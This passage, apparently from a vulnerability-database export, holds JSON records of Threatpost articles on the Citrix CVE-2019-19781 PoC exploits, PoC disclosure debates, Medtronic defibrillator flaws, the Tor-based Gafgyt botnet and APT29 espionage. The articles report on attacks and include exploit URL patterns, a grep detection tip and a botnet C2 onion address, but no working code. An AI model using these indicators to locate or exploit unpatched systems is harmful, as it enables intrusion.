accounts](<https://threatpost.com/iran-linked-hackers-target-trump-2020-campaign-microsoft-says/148931/>) tied to the Trump 2020 re-election campaign and [public figures and human-rights activists](<https://threatpost.com/charming-kitten-uses-fake-interview-requests-to-target-public-figures/152628/>), among others.\n\n**[On Wed Sept. 16 @ 2 PM ET:](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>) Learn the secrets to running a successful Bug Bounty Program. [Register today](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>) for this FREE Threatpost webinar \u201c[Five Essentials for Running a Successful Bug Bounty Program](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)\u201c. Hear from top Bug Bounty Program experts how to juggle public versus private programs and how to navigate the tricky terrain of managing Bug Hunters, disclosure policies and budgets. Join us Wednesday Sept. 16, 2-3 PM ET for this [LIVE](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>) webinar.**\n", "cvss3": {}, "published": "2020-09-01T13:35:19", "type": "threatpost", "title": "Pioneer Kitten APT Sells Corporate Network Access", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-5902"], "modified": "2020-09-01T13:35:19", "id": "THREATPOST:AD4EF56E5440159F6E37D8B403C253D7", "href": "https://threatpost.com/pioneer-kitten-apt-sells-corporate-network-access/158833/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-16T23:18:05", "description": "When it comes to the release of proof-of-concept (PoC) exploits, more security experts agree that the positives outweigh the negatives, according to a recent and informal Threatpost poll.\n\n[](<https://register.gotowebinar.com/register/7679724086205178371?source=art>)Last week, [Threatpost conducted a reader poll](<https://threatpost.com/poll-published-poc-exploits-good-bad/151966/>) and almost 60 percent of 230 security pundits thought it was a \u201cgood idea\u201d to publish PoC code for zero days. Up to 38 percent of respondents, meanwhile, argued it wasn\u2019t a good idea.\n\nThe debate comes on the heels of PoC code being released last week for an [unpatched remote-code-execution vulnerability](<https://threatpost.com/unpatched-citrix-flaw-exploits/151748/>) in the Citrix Application Delivery Controller (ADC) and Citrix Gateway products. The PoC exploits, which were published to showcase how the vulnerability in a system can be exploited, raised questions about the positive and negative consequences of releasing such code for an unpatched vulnerability.\n\nSome argued that the code can be used to test networks and pinpoint vulnerable aspects of a system, as well as motivate companies to patch, but others in the security space have argued that PoC code gives attackers a blueprint to launch and automate attacks.\n\n## Security Motivator\n\nMany security experts point to the role of PoC code publication in motivating impacted companies and manufacturers to adopt more effective security measures. That was the argument of one such advocate, Dr. Richard Gold, head of security engineering at Digital Shadows, who said that PoC code enables security teams to test if their systems are exploitable or not.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/01/21153903/tp-poll.png>)\n\n\u201cRather than having to rely on vendor notifications or software version number comparisons, a PoC allows the direct verification of whether a particular system is exploitable,\u201d Gold told Threatpost. \u201cThis ability to independently verify an issue allows organizations to better understand their exposure and make more informed decisions about remediation.\u201d\n\nIn fact, up to 85 percent of respondents said that the release of PoC code acts as an \u201ceffective motivator\u201d to push companies to patch. Seventy-nine percent say that the disclosure of a PoC exploit has been \u201cinstrumental\u201d in preventing an attack. And, 85 percent of respondents said that a PoC code release is acceptable if a vendor won\u2019t fix a bug in a timely manner.\n\nWhen it comes to the[ recent Citrix vulnerability (CVE-2019-19781)](<https://threatpost.com/critical-citrix-bug-80000-corporate-lans-at-risk/151444/>) for instance, advocates argue that, though PoC exploits were released before a patch was available, the code drew attention to the large amounts of vulnerable devices that were online. Citrix has also [accelerated its patch schedule](<https://threatpost.com/citrix-patch-rollout-critical-rce-flaw/152041/>) after PoC exploits were released (though there is no proof of correlation between this and the PoC exploit releases).\n\n\u201cAs a result [of the Citrix PoC exploits], there has been a widespread effort to patch or mitigate vulnerable devices rather than leaving them unpatched or unsecured,\u201d Gold stressed.\n\n## A Jump in Actual Exploits\n\nOn the flip-side of the argument, many argue that the release of the Citrix PoC exploits were a bad idea. They say attacks attempting to exploit the vulnerability skyrocketed as bad actors rushed to exploit the vulnerabilities before they are patched. In fact, 38 percent of respondents in Threatpost\u2019s poll argued that PoC exploit releases are a bad idea.\n\nMatt Thaxton, senior consultant at Crypsis Group, thinks that the \u201cultimate function of a PoC is to lower the bar for others to begin making use of the exploit.\u201d[](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/01/21154131/tp-poll-2.png>)\n\n\u201cI believe there are more negatives than positives to publishing proofs, and generally, it is not a good idea,\u201d he told Threatpost. \u201cIn many cases, PoC\u2019s are put out largely for the notoriety/fame of the publisher and for the developer to \u2018flex\u2019 their abilities.\u201d\n\nJoseph Carson, chief security scientist at Thycotic, told Threatpost that while he thinks PoC exploits can have a positive impact, \u201cit is also important to include what defenders can do to reduce the risks such a methods to harden systems or best practices.\u201d\n\n\u201cLet\u2019s be realistic, once a zero-day is known, it is only a matter of time before nation states and cybercriminals are abusing them,\u201d said Carson. \u201cSometimes they already know about the zero-day and have been abusing them for years.\u201d\n\nRespondents in the poll were also split about the right amount of time that\u2019s appropriate to release PoC code after a flaw has been disclosed, with 29 percent arguing 90 days is the appropriate amount and others opting for one month (25 percent), one week (23 percent) or two weeks (14 percent).\n\nThis issue of a PoC exploit timeline also brings up important questions around patch management for companies dealing with the fallout of publicly-released code. Some, like Thaxton, say that PoC exploit advocates fail to recognize the complexity of patching large environments: \u201cI believe the release of PoC code functions more like an implied threat to anyone that doesn\u2019t patch: \u2018You\u2019d better patch . . . or else,'\u201d he said \u201cThis kind of threat would likely be unacceptable outside of the infosec world. This is even more obvious when PoCs are released before or alongside a patch for the vulnerability.\u201d\n\n## PoC Exploits Surge\n\nAt the end of the day, PoC exploits are continuing to be published. In fact, beyond the release of the Citrix PoC code, a slew of other PoC exploits were released last week, [including ones for](<https://threatpost.com/poc-exploits-published-for-microsoft-crypto-bug/151931/>) a recently patched [crypto-spoofing vulnerability](<https://threatpost.com/microsoft-patches-crypto-bug/151842/>) found by the [National Security Agency](<https://threatpost.com/podcast-nsa-reports-major-crypto-spoofing-bug-to-microsoft/151900/>) (NSA) and [reported to Microsoft](<https://threatpost.com/microsoft-patches-crypto-bug/151842/>); and another for critical flaws impacting the [Cisco Data Center Network Manager](<https://threatpost.com/cisco-dcnm-flaw-exploit/151949/>) tool for managing network platforms and switches.\n\nGold, for his part, argued that distinguishing a fine line between a theoretical vulnerability and a successful exploitation of a real system makes all the difference when it comes to PoC exploits versus active exploits.\n\n\u201cOnce that threshold has been crossed, it is understood that attackers will most likely be exploiting this vulnerability in real attacks,\u201d he said. \u201cThis often provided impetus to companies to patch their systems.\u201d\n\n**_Concerned about mobile security? _**[**Check out our free Threatpost webinar,**](<https://attendee.gotowebinar.com/register/7679724086205178371?source=art>) **_Top 8 Best Practices for Mobile App Security, on Jan. 22 at 2 p.m. ET. _**_**Poorly secured apps can lead to malware, data breaches and legal/regulatory trouble. Join our experts from **_**_Secureworks and White Ops to discuss the secrets of building a secure mobile strategy, one app at a time. _**[**_Click here to register_**](<https://attendee.gotowebinar.com/register/7679724086205178371?source=art>)**_._**\n\n**Share this article:**\n\n * [Editor's Picks](<https://threatpost.com/category/editors-picks/>)\n * [Featured](<https://threatpost.com/category/featured/>)\n * [Hacks](<https://threatpost.com/category/hacks/>)\n * [Web Security](<https://threatpost.com/category/web-security/>)\n", "cvss3": {}, "published": "2020-01-22T11:01:52", "type": "threatpost", "title": "PoC Exploits Do More Good Than Harm: Threatpost Poll", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-19781", "CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-01-22T11:01:52", "id": "THREATPOST:48D622E76FCC26F28B32364668BB1930", "href": "https://threatpost.com/poc-exploits-do-more-good-than-harm-threatpost-poll/152053/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-02-08T11:39:59", "description": "The Department of Homeland Security has issued an emergency alert warning of critical flaws allowing attackers to tamper with several Medtronic medical devices, including defibrillators.\n\nThe two vulnerabilities \u2013 comprised of a medium and critical-severity flaw \u2013 exist in 20 products made by the popular medical device manufacturer, including an array of defibrillators and home patient monitoring systems. An update is not yet available for fixing these flaws, Medtronic told Threatpost.\n\nThe flaws could allow a local attacker to take control of the devices\u2019 functions \u2013 and for a product like an implantable cardioverter defibrillator, which is inserted under the skin and shocks patients\u2019 irregular heartbeats into a normal rhythm, that could have dangerous implications.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cThe result of successful exploitation of these vulnerabilities may include the ability to read and write any valid memory location on the affected implanted device and therefore impact the intended function of the device,\u201d according to [the DHS alert](<https://ics-cert.us-cert.gov/advisories/ICSMA-19-080-01>).\n\nImpacted products include homecare patient monitors, portable computer system used to program cardiac devices, and several specific Medtronic implanted cardiac devices \u2013 potentially up to 750,000 devices, according to a [report](<http://www.startribune.com/750-000-medtronic-defibrillators-vulnerable-to-hacking/507470932/>) by the Star Tribune.\n\nA Medtronic spokesperson stressed that while defibrillators are impacted, the issue does not affect Medtronic pacemakers or insertable cardiac monitors.\n\n\u201cMedtronic is conducting security checks to look for unauthorized or unusual activity that could be related to these issues,\u201d the spokesperson told Threatpost. \u201cTo date, no cyberattack, privacy breach, or patient harm has been observed or associated with these issues. Medtronic is developing a series of software updates to better secure the wireless communication affected by these issues. The first update is scheduled for later in 2019, subject to regulatory approvals.\u201d\n\n## The Flaws\n\nThe vulnerabilities stem from the Conexus telemetry protocol, which does not implement authentication, authorization or encryption for communication \u2013 allowing an attacker to easily carry out several attacks, such as viewing or altering sensitive data. The Conexus telemetry protocol is used as part of Medtronic\u2019s remote patient management system.\n\nThe vulnerabilities specifically are a critical improper access control vulnerability ([CVE-2019-6538](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-6538>)), which has a CVSS score of 9.3 as it only requires a low skill level to exploit; and a cleartext transmission of sensitive information vulnerability ([CVE-2019-6540](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-6540>)) which has a CVSS score of 6.5.\n\n\u201cSuccessful exploitation of these vulnerabilities may allow an attacker with adjacent short-range access to one of the affected products to interfere with, generate, modify, or intercept the radio frequency (RF) communication of the Medtronic proprietary Conexus telemetry system, potentially impacting product functionality and/or allowing access to transmitted sensitive data,\u201d according to the DHS advisory.\n\nThe improper access control stems from the fact that the Conexus telemetry protocol utilized in impacted products does not implement authentication or authorization.\n\n\u201cThis communication protocol provides the ability to read and write memory values to affected implanted cardiac devices; therefore, an attacker could exploit this communication protocol to change memory in the implanted cardiac device,\u201d warned the DHS.\n\nIn order to exploit the vulnerabilities, an attacker would need a radio frequency device capable of transmitting or receiving Conexus telemetry communication (such as a monitor, programmer, or software-defined radio) and would need short-range access to the vulnerable products.\n\n## Updates To Come\n\nMedtronic has applied additional controls for monitoring and responding to improper use of the Conexus telemetry protocol by the affected implanted cardiac devices \u2013 but updates will not be ready until later in 2019.\n\nIn the meantime, \u201cMedtronic and the FDA recommend that patients and physicians continue to use devices and technology as prescribed and intended, as this provides for the most efficient way to manage patients\u2019 devices and heart conditions,\u201d Medtronic said in a statement.\n\nIt\u2019s only the latest set of security issues found in medical manufacturer Medtronic. [In 2018](<https://threatpost.com/remote-code-implantation-flaw-found-in-medtronic-cardiac-programmers/138363/>), a flaw in Medtronic\u2019s CareLink 2090 and CareLink Encore 29901 programmers was discovered allowing remote code implantation over Medtronic\u2019s dedicated Software Deployment Network.\n\nAt Black Hat 2018, researchers stressed that the healthcare device landscape remains insecure and in need of addressing.\n\n\u201c[These attacks] alter how physicians act with patients because they trust technology implicitly,\u201d said Jeff Tully, a pediatrician and anesthesiologist at the University of California Davis at Black Hat.\n\n(Image is licensed under the [Creative Commons](<https://en.wikipedia.org/wiki/en:Creative_Commons> \"w:en:Creative Commons\" ) [Attribution 3.0 Unported](<https://creativecommons.org/licenses/by/3.0/deed.en>) license.)\n", "cvss3": {}, "published": "2019-03-22T16:07:33", "type": "threatpost", "title": "Medtronic Defibrillators Have Critical Flaws, Warns DHS", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-19781", "CVE-2019-6538", "CVE-2019-6540"], "modified": "2019-03-22T16:07:33", "id": "THREATPOST:FADCF664C06E3747C40C200AE681FDF8", "href": "https://threatpost.com/medtronic-defibrillators-have-critical-flaws-warns-dhs/143068/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-15T22:26:26", "description": "Proof-of-concept (PoC) exploit code has been released for an unpatched remote-code-execution vulnerability in the Citrix Application Delivery Controller (ADC) and Citrix Gateway products.\n\nThe vulnerability ([CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)), which Threatpost [reported on in December,](<https://threatpost.com/critical-citrix-bug-80000-corporate-lans-at-risk/151444/>) already packs a double-punch in terms of severity: Researchers say it is extremely easy to exploit, and affects all supported versions of Citrix Gateway products and Citrix ADC, a purpose-built networking appliance meant to improve the performance and security of applications delivered over the web.\n\n\u201cThe vulnerability allows an unauthenticated remote attacker to execute arbitrary code on the system,\u201d said Qualys [researchers in an analysis last week](<https://blog.qualys.com/laws-of-vulnerabilities/2020/01/08/citrix-adc-and-gateway-remote-code-execution-vulnerability-cve-2019-19781>). \u201cOnce exploited, remote attackers could obtain access to private network resources without requiring authentication.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nA patch will not be available until late January, Citrix [has announced](<https://support.citrix.com/article/CTX267027>). That leaves various systems worldwide open to the flaw \u2014 and now, with PoC exploits available on GitHub, researchers expect exploit attempts to skyrocket.\n\n## Exploit PoC Code\n\nOver three weeks after CVE-2019-19781 was first [disclosed (on Dec. 17)](<https://support.citrix.com/article/CTX267027>), this past weekend PoC exploit code for [was released Friday by](<https://github.com/projectzeroindia/CVE-2019-19781>) \u201cProject Zero India,\u201d which describe themselves as \u201ca group of security researchers from India, inspired by Google\u2019s Project Zero.\u201d\n\nThe PoC exploit consists of two curl commands: One to write a template file which would include a user\u2019s shell command, and the second request to download the result of the command execution.\n\nAfter Project Zero India released its exploit, another PoC exploit was released by[ security research group TrustedSec.](<https://github.com/trustedsec/cve-2019-19781/>) This PoC was similar to the first, except it was written in Python and established a reverse shell.\n\nSecurity expert Kevin Beaumont, who dubbed the vulnerability \u201cShitrix,\u201d said on Twitter that the exploit PoC code means \u201cthis is going to get very messy.\u201d\n\nhttps://twitter.com/GossiTheDog/status/1215782882540695552\n\nIn addition, researchers have also[ released scanners](<https://github.com/trustedsec/cve-2019-19781>) and [honeypots](<https://github.com/MalwareTech/CitrixHoneypot>) to see if various servers are vulnerable to CVE-2019-19881.\n\n## The Flaw\n\nCitrix did not disclose many details about the vulnerability [in its security advisory](<https://support.citrix.com/article/CTX267027>), however, Qualys researchers said that the mitigation steps offered by Citrix suggest the flaw stems from the VPN handler failing to sufficiently sanitize user-supplied inputs.\n\n\u201cThe exploit attempt would include HTTP requests with \u2018/../\u2019 and \u2018/vpns/\u2019 in the URL. The responder policy rule checks for string \u201c/vpns/\u201d and if user is connected to the SSLVPN, and sends a 403 response,\u201d according to Qualys researchers.\n\nAccording to the Bad Packets Report, over 25,000 servers globally \u2014 with the most in the U.S., Germany and the UK \u2013 are vulnerable to CVE-2019-19781.\n\nhttps://twitter.com/bad_packets/status/1216635462011351040\n\nAffected by the vulnerability are: Citrix ADC and Citrix Gateway version 13.0 all supported builds, Citrix ADC and NetScaler Gateway version 12.1 all supported builds, Citrix ADC and NetScaler Gateway version 12.0 all supported builds, Citrix ADC and NetScaler Gateway version 11.1 all supported builds and Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds.\n\n## Mitigations\n\n\u201cCitrix expects to have firmware updates in the form of refresh builds to be available across all supported versions of Citrix ADC and Citrix Gateway before the end of January 2020,\u201d according to the Citrix security advisory.\n\nA patch will be released on Jan. 20 for Citrix ADC versions 11/12 and 13, while a patch for version 10 will be released Jan. 31, according to Citrix.\n\nIn the meantime, Citrix has released [mitigation steps](<https://support.citrix.com/article/CTX267679>) for CVE-2019-19781. Researchers are also urging customers to check their systems for exploit attempts using \u201cgrep\u201d for requests that contain \u201cvpns\u201d and \u201c..\u201d.\n\nSecurity experts like Dave Kennedy [took to Twitter](<https://twitter.com/HackingDave/status/1215800253246513155?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1215800253246513155&ref_url=https%3A%2F%2Fwww.zdnet.com%2Farticle%2Fproof-of-concept-code-published-for-citrix-bug-as-attacks-intensify%2F>) meanwhile to warn customers to apply mitigations until a patch is available.\n\n> Can\u2019t emphasize enough \u2013 please please please do the mitigation steps for the Citrix exploit as soon as possible. \n> \n> This is going to be a really bad one folks. \n> \n> Easy to automate and exploit and is widely used across the Internet.\n> \n> Mitigation here: <https://t.co/jeF0UC6A9V>\n> \n> \u2014 Dave Kennedy (ReL1K) (@HackingDave) [January 11, 2020](<https://twitter.com/HackingDave/status/1215800253246513155?ref_src=twsrc%5Etfw>)\n\nMikhail Klyuchnikov of Positive Technologies, Gianlorenzo Cipparrone and Miguel Gonzalez of Paddy Power Betfair plc were credited with finding the flaw.\n\n_**Concerned about mobile security? **_[**Check out our free Threatpost webinar,**](<https://attendee.gotowebinar.com/register/7679724086205178371?source=art>) _**Top 8 Best Practices for Mobile App Security**__**, on Jan. 22 at 2 p.m. ET. **_**_Poorly secured apps can lead to malware, data breaches and legal/regulatory trouble. Join our experts to discuss the secrets of building a secure mobile strategy, one app at a time._**_** **_[_**Click here to register**_](<https://attendee.gotowebinar.com/register/7679724086205178371?source=art>)_**.**_\n", "cvss3": {}, "published": "2020-01-13T15:32:42", "type": "threatpost", "title": "Unpatched Citrix Flaw Now Has PoC Exploits", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-19781", "CVE-2019-19881", "CVE-2020-5135"], "modified": "2020-01-13T15:32:42", "id": "THREATPOST:99610F4016AECF953EEE643779490F30", "href": "https://threatpost.com/unpatched-citrix-flaw-exploits/151748/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-03-05T16:44:35", "description": "Researchers have discovered what they say is the first variant of the Gafgyt botnet family to cloak its activity using the Tor network.\n\nGafgyt, a [botnet that was uncovered in 2014](<https://threatpost.com/mirai-gafgyt-botnets-return-to-target-infamous-apache-struts-sonicwall-flaws/137309/>), has become infamous for launching large-scale distributed denial-of-service (DDoS) attacks. Researchers first discovered activity from the newest variant, which they call Gafgyt_tor, on Feb. 15.\n\nIn order to evade detection, Gafgyt_tor uses Tor to hide its command-and-control (C2) communications, and encrypts sensitive strings in the samples. The use of [Tor by malware families is nothing new;](<https://threatpost.com/chewbacca-latest-malware-to-take-a-liking-to-tor/103220/>) however, researchers said they haven\u2019t seen Gafgyt leveraging the anonymity network until now.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cCompared with other Gafgyt variants, the biggest change of Gafgyt_tor is that the C2 communication is based on Tor, which increases the difficulty of detection and blocking,\u201d said researchers with NetLab 360 [on Thursday](<https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/>). \u201cThe Tor-based C2 communication mechanism has been seen in other families we have analyzed before\u2026 but this is the first time we encountered it in the Gafgyt family.\u201d\n\n## **Gafgyt_tor Botnet: Propagation and New Functionalities**\n\nThe botnet is mainly propagated through weak Telnet passwords \u2013 a common issue on [internet of things devices](<https://threatpost.com/hacker-leaks-more-than-500k-telnet-credentials-for-iot-devices/152015/>) \u2013 and through exploiting three vulnerabilities. These vulnerabilities include a remote code execution flaw (CVE-2019-16920) [in D-Link devices](<https://threatpost.com/d-link-routers-zero-day-flaws/162064/>); a remote code execution vulnerability in Liferay enterprise portal software (for which no CVE is available); and a flaw (CVE-2019-19781) in Citrix Application Delivery Controller.\n\nResearchers said that the code structure of Gafgyt_tor\u2019s main function \u2013 which adds the Tor proxy function to provide the IP server\u2019s address \u2013 shows widespread changes.\n\n\u201cThe original initConnection() function, which is responsible for establishing the C2 connection, is gone, replaced by a large section of code responsible for establishing the Tor connection,\u201d they said.\n\n## **New Tor Capabilities, Commands**\n\nWithin this large section of code exists tor_socket_init, a function that is responsible for initializing a list of proxy nodes with IP addresses and a port. Researchers said that over 100 Tor proxies can be built in in this way \u2013 and new samples are continually updating the proxy list.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/03/05101946/ver1_ver2_cmp_cfg.en_.png>)\n\nThe new versus old code structure for the Gafgyt variant. Credit: NetLab 360\n\n\u201cAfter initializing the proxy list, the sample will select a random node from the list to enable Tor communication via tor_retrieve_addr and tor_retrieve_port,\u201d said researchers.\n\nAfter it establishes a connection with the C2, the botnet requests wvp3te7pkfczmnnl.onion through the darknet, from which it then awaits commands.\n\n\u201cThe core function of Gafgyt_tor is still DDoS attacks and scanning, so it mostly follows the common Gafgyt directive,\u201d said researchers. They noted, a new directive called LDSERVER has been added to the botnet, which allows the C2 to quickly specify servers from which the payloads are downloaded. This allows attackers to quickly switch courses should an attacker-owned download server be identified and blocked, said researchers.\n\n\u201cThis directive means that C2 can dynamically switch download servers, so that it can quickly switch to a new download server to continue propagation if the current one is blocked,\u201d said researchers,\n\n## **Links to Freak Threat Actor, Other Botnets**\n\nResearchers said that the variant shares the same origin with the Gafgyt samples distributed by a threat group that NetLab 360 researchers call the keksec group, and that other researchers [call the Freak threat actor](<https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/>). They said, the keksec group reuses code and IP addresses between various other bot families, including the Tsunami botnet as well as the Necro botnet family uncovered in January.\n\n\u201cWe think that Gafgyt_tor and Necro are very likely operated by the same group of people, who have a pool of IP addresses and multiple botnet source codes, and have the ability of continuous development,\u201d said researchers. \u201cIn actual operation, they form different families of botnets, but reuse infrastructure such as IP address.\u201d\n\n## **Other Gafgyt Botnet Variants**\n\nGafgyt.tor is only the latest variant of the popular botnet to come to light. In 2019, researchers warned of a [new Gafgyt variant adding vulnerable IoT devices](<https://threatpost.com/valve-source-engine-fortnite-servers-crippled-by-gafgyt-variant/149719/>) to its botnet arsenal and using them to cripple gaming servers worldwide.\n\nIn 2018, researchers said they discovered new variants for the Mirai and [Gafgyt IoT botnets ](<https://threatpost.com/mirai-gafgyt-botnets-return-to-target-infamous-apache-struts-sonicwall-flaws/137309/>)targeting well-known vulnerabilities in Apache Struts and SonicWall; as well as a separate attack actively launching two IoT/Linux botnet [campaigns](<https://threatpost.com/d-link-dasan-routers-under-attack-in-yet-another-assault/134255/>), exploiting the [CVE-2018-10562 and CVE-2018-10561 bugs in Dasan routers](<https://threatpost.com/millions-of-home-fiber-routers-vulnerable-to-complete-takeover/131593/>).\n\nMore recently, last year a botnet called [Hoaxcalls emerged](<https://threatpost.com/hoaxcalls-botnet-symantec-secure-web-gateways/155806/>), as a variant of the Gafgyt family. The botnet, which can be marshalled for large-scale distributed denial-of-service (DDoS) campaigns, is spreading [via an unpatched vulnerability](<https://threatpost.com/fast-moving-ddos-botnet-unpatched-zyxel-rce-bug/155059/>) impacting the ZyXEL Cloud CNM SecuManager.\n\n**_Check out our free _****_[upcoming live webinar events](<https://threatpost.com/category/webinars/>)_****_ \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community:_** \n\u00b7 March 24: **Economics of 0-Day Disclosures: The Good, Bad and Ugly** ([Learn more and register!](<https://threatpost.com/webinars/economics-of-0-day-disclosures-the-good-bad-and-ugly/>)) \n\u00b7 April 21: **Underground Markets: A Tour of the Dark Economy** ([Learn more and register!](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/>))\n", "cvss3": {}, "published": "2021-03-05T15:55:41", "type": "threatpost", "title": "D-Link, IoT Devices Under Attack By Tor-Based Gafgyt Variant", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-10561", "CVE-2018-10562", "CVE-2019-16920", "CVE-2019-19781"], "modified": "2021-03-05T15:55:41", "id": "THREATPOST:B7F31FCDC8936516C077D39FEF9235AA", "href": "https://threatpost.com/d-link-iot-tor-gafgyt-variant/164529/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-07-16T19:56:37", "description": "The advanced threat actor known as APT29 has been hard at work attempting to pilfer COVID-19 vaccine research from academic and pharmaceutical research institutions in various countries around the world, including the U.S.\n\nThat\u2019s according to a joint alert from the U.S. Department of Homeland Security (DHS), the U.K.\u2019s National Cyber Security Centre (NCSC) and Canada\u2019s Communications Security Establishment (CSE), [issued Thursday](<https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development>).\n\nThe 14-page advisory details the recent activity of Russia-linked APT29 (a.k.a. CozyBear or the Dukes), including the use of custom malware called \u201cWellMess\u201d and \u201cWellMail\u201d for data exfiltration.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cThroughout 2020, APT29 has targeted various organizations involved in COVID-19 vaccine development in Canada, the United States and the United Kingdom, highly likely with the intention of stealing information and intellectual property relating to the development and testing of COVID-19 vaccines,\u201d the report noted.\n\nThis specific activity was seen starting in April, but security researchers noted that nation-state espionage targeted to coronavirus treatments and cures [has been a phenomenon all year](<https://threatpost.com/nation-backed-apts-covid-19-spy-attacks/155082/>).\n\n\u201cCOVID-19 is an existential threat to every government in the world, so it\u2019s no surprise that cyber-espionage capabilities are being used to gather intelligence on a cure,\u201d said John Hultquist, senior director of analysis at Mandiant Threat Intelligence, via email. \u201cThe organizations developing vaccines and treatments for the virus are being heavily targeted by Russian, Iranian and Chinese actors seeking a leg up on their own research. We\u2019ve also seen significant COVID-related targeting of governments that began as early as January.\u201d\n\n## **Exploits in Play**\n\nTo mount the attacks, APT29 is using exploits for known vulnerabilities to gain initial access to targets, according to the analysis, along with spearphishing to obtain authentication credentials to internet-accessible login pages for target organizations. The exploits in rotation include the recent [Citrix code-injection bug](<https://threatpost.com/citrix-bugs-allow-unauthenticated-code-injection-data-theft/157214/>) (CVE-2019-19781); a publicized [Pulse Secure VPN flaw](<https://threatpost.com/dhs-urges-pulse-secure-vpn-users-to-update-passwords/154925/>) (CVE-2019-11510); and issues in FortiGate (CVE-2018-13379) and Zimbra (CVE-2019-9670).\n\n\u201cThe group conducted basic vulnerability scanning against specific external IP addresses owned by the [targeted] organizations,\u201d according to the report. \u201cThe group then deployed public exploits against the vulnerable services identified. The group has been successful using recently published exploits to gain initial footholds.\u201d\n\nOnce a system is compromised, the group then looks to obtain additional authentication credentials to allow further access and spread laterally.\n\n## **Custom Malware**\n\nOnce established in a network, APT29 is employing homegrown malware that the NCSC is calling WellMess and WellMail, to conduct further operations on the victim\u2019s system and exfiltrate data.\n\nWellMess, first discovered in July 2018, is malware that comes in Golang or .NET versions and supports HTTP, TLS and DNS for communications.\n\nNamed after one of the function names in the malware, \u201cWellMess is a lightweight malware designed to execute arbitrary shell commands, upload and download files,\u201d according to the advisory.\n\nWellMail malware meanwhile, named after file paths containing the word \u2018mail\u2019 and the use of server port 25, is also lightweight \u2013 and is designed to run commands or scripts while communicating with a hardcoded command-and-control (C2) server.\n\n\u201cThe binary is an ELF utility written in Golang which receives a command or script to be run through the Linux shell,\u201d according to the NCSC. \u201cTo our knowledge, WellMail has not been previously named in the public domain.\u201d\n\nBoth malwares uses hard-coded client and certificate authority TLS certificates to communicate with their C2 servers.\n\n\u201cWellMess and WellMail samples contained TLS certificates with the hard-coded subjectKeyIdentifier (SKI) \u20180102030406\u2019, and used the subjects \u2018C=Tunis, O=IT\u2019 and \u2018O=GMO GlobalSign, Inc\u2019 respectively,\u201d detailed the report. \u201cThese certificates can be used to identify further malware samples and infrastructure. Servers with this GlobalSign certificate subject may be used for other functions in addition to WellMail malware communications.\u201d\n\nAPT29 is also using another malware, dubbed \u2018SoreFang\u2019 by the NCSC, which is a first-stage downloader that uses HTTP to exfiltrate victim information and download second-stage malware. It\u2019s using the same C2 infrastructure as a WellMess sample, the agencies concluded.\n\nThis sample is not a custom job: \u201cIt is likely that SoreFang targets SangFor devices. Industry reporting indicates that other actors, reportedly including [DarkHotel](<https://threatpost.com/microsoft-zero-day-actively-exploited-patch/152018/>), have also targeted SangFor devices,\u201d noted the NCSC.\n\n## **APT29: A Sporadically High-Profile Threat**\n\n[APT29](<https://attack.mitre.org/groups/G0016/>) has long been seen targeting high-value targets across the think-tank, law enforcement, media, U.S. military, imagery, transportation, pharmaceutical, national government and defense contracting sectors.\n\nThe group is is perhaps best-known for the [intrusion](<https://threatpost.com/dnc-hacked-research-on-trump-stolen/118656/>) at the Democratic National Committee ahead of the U.S. presidential election in 2016. It was also implicated in [a widespread phishing campaign](<https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/>) in November 2016, in attacks against the White House, State Department and Joint Chiefs of Staff.\n\nIt was next seen in November 2017 [executing a Tor backdoor](<https://threatpost.com/apt29-used-domain-fronting-tor-to-execute-backdoor/124582/>), and then [it reemerged](<https://threatpost.com/apt29-re-emerges-after-2-years-with-widespread-espionage-campaign/139246/>) in 2018 with a widespread espionage campaign against military, media and public-sector targets.\n\nIts history stretches back a few years though: It [was also seen](<https://threatpost.com/white-house-state-department-counted-among-cozyduke-apt-victims/112382/>) by Kaspersky Lab carrying out data-mining attacks against the White House and the Department of State in 2014.\n\nResearchers from firms [like 